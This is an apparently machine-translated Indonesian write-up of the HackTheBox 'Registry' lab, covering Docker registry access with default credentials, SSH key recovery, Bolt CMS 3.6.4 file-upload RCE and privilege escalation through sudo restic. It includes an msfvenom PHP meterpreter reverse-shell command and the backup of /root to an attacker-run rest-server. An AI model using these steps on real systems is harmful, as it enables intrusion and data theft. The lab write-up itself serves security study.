Retas Kotak. Registry Bagian. Docker, RCE di CMS Bolt and Restic

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox . Saya berharap ini akan membantu setidaknya seseorang untuk berkembang di bidang keamanan informasi. Dalam artikel ini, kita akan menangani regisrty buruh pelabuhan, menjalankan RCE di CMS Bolt, dan meningkatkan hak istimewa dengan program cadangan Restic.

Koneksi ke laboratorium adalah melalui VPN. Disarankan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda berakhir di jaringan pribadi dengan orang-orang yang tahu sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.159, yang saya tambahkan ke / etc / hosts.

10.10.10.159    registry.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 1000 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.

nmap -A registry.htb -p22,80,443

gambar

Tuan rumah memiliki 3 port terbuka, sedangkan sertifikat (port 443) adalah untuk docker.registry.htb. Tambahkan juga ke / etc / hosts.

10.10.10.159    docker.registry.htb

Ketika Anda beralih ke registry.htb, kami disambut oleh prompt nginx, dan ke docker.registry.htb, kami melihat halaman kosong.

Mari kita beralih ke direktori menggunakan gobuster. Dalam parameter kami menunjukkan jumlah aliran 128 (-t), URL (-u), kamus (-w) dan ekstensi yang menarik bagi kami (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

gambar

Backup.php tidak memberi kami apa-apa, di baut ada situs dengan CMS Bolt, dan di instal ada beberapa file, unduh.

wget http://registry.htb/install/ -O ind

Dan kami mencari tahu apa file ini.

gambar

Kita dapat membaca "data terkompresi gzip" segera.

gambar

Dengan cara ini kami mendapatkan sertifikat, dan tautan ke dokumentasi referensi buruh pelabuhan.
Dalam hal domain lain, tambahkan opsi -k untuk melewati verifikasi sertifikat.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

gambar

Sekarang mari kita pindah ke direktori v2, dan kita bertemu dengan otentikasi.

gambar

Dan admin kombinasi paling sederhana: admin memberi kita akses. Tuan rumah menjalankan registrasi buruh pelabuhan, oleh karena itu, sebagai berikut dari penjelasan berikut, kita akan melihat repositori-nya di alamat berikut: docker.registry.htb / v2 / _catalog .

gambar

Dan kami menemukan satu repositori.

gambar

Mari kita instal buruh pelabuhan dan beralih ke dokumentasi instalasi sertifikat.

gambar

Buka direktori / etc / docker dan tambahkan sertifikat dari arsip.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

gambar

Sekarang masuk ke buruh pelabuhan.

gambar

Sekarang muat gambar.

sudo docker pull docker.registry.htb:443/bolt-image:latest

gambar

Dan jalankan.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

Dan hal pertama yang kita lihat adalah SSH. Untungnya, ada kunci, serta konfigurasi, yang menjadi jelas bahwa pengguna kami baut.

gambar

Tetapi masalahnya adalah kunci tersebut dienkripsi. Ini berarti bahwa ketika terhubung, mereka akan meminta kata sandi. Hasilnya adalah pencarian dalam file untuk string "lulus".

grep -i -r "pass" ./etc/

gambar

Script ini meminta kata sandi untuk mendekripsi kunci. Dan jawabannya diberikan di dalamnya.

gambar

Terhubung melalui ssh dengan kunci kami.

gambar

Ada file backup.php di host, mari kita lihat apa yang ada di dalamnya.

gambar

Beginilah cara sudo digunakan, dan tampaknya tanpa kata sandi. Tetapi baut membutuhkan kata sandi.

gambar

Ini berarti bahwa kita perlu mendapatkan pengguna layanan. Karena CMS Bolt digunakan, kita dapat mengakses database sqlite. Unduh itu.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

Mari kita mulai bekerja dengan database.

sqlite3 bolt.db

Mari kita lihat tabelnya.

gambar

Dan dapatkan entri dari tabel bolt_users.

gambar

Jadi kami memiliki hash admin. Iterate menggunakan JTR.

gambar

Sekarang masuk ke Bolt sebagai admin. Dan kami mengamati versi 3.6.4.

gambar

Ada exploit untuk versi ini.

gambar

Kerentanannya adalah kita dapat menambah konfigurasi ekstensi file yang perlu kita unduh, dan kemudian mengunggah file. Mari kita buat file php dengan load (saya akan katakan sebelumnya bahwa itu tidak berfungsi untuk terhubung ke belakang; oleh karena itu, port 4321 diteruskan :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321.

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

Dan jalankan pendengar.

gambar

Mari kita pergi melalui Konfigurasi -> Konfigurasi Utama dan menambahkan ekstensi php untuk dapat mengunduh file.

gambar

Selanjutnya, buka Manajemen File -> Unggah file dan tambahkan file. Setelah mengaksesnya, kita akan melihat koneksi.

gambar

Luncurkan bash shell, kami juga mengamati bahwa kami bekerja atas nama pengguna layanan.

gambar

Mari kita periksa sudo, perhatikan bahwa perintah dari backup.php dapat dijalankan di bawah sudo tanpa kata sandi.

gambar

Restic adalah program cadangan yang ditulis dalam Golang. Karena kita dapat membuat cadangan di bawah sudo, kita dapat menyalin seluruh direktori root. Pertama, mari kita pergi melalui port 8000.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

Instal dan jalankan rest-server (pada 8000 posting tanpa otentikasi).

gambar

Mari menghubungkan dan menginisialisasi cadangan (restr1).

gambar

Sekarang buat cadangan direktori root.

gambar

Cadangan disimpan di mesin lokal. Mari kita lihat semua file yang disimpan. Temukan kunci SSH.

restic -r /tmp/restic/restr1/ ls latest

gambar

Kembalikan itu.

gambar

Menghubung

gambar

Kami memiliki akses penuh ke sistem.

Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles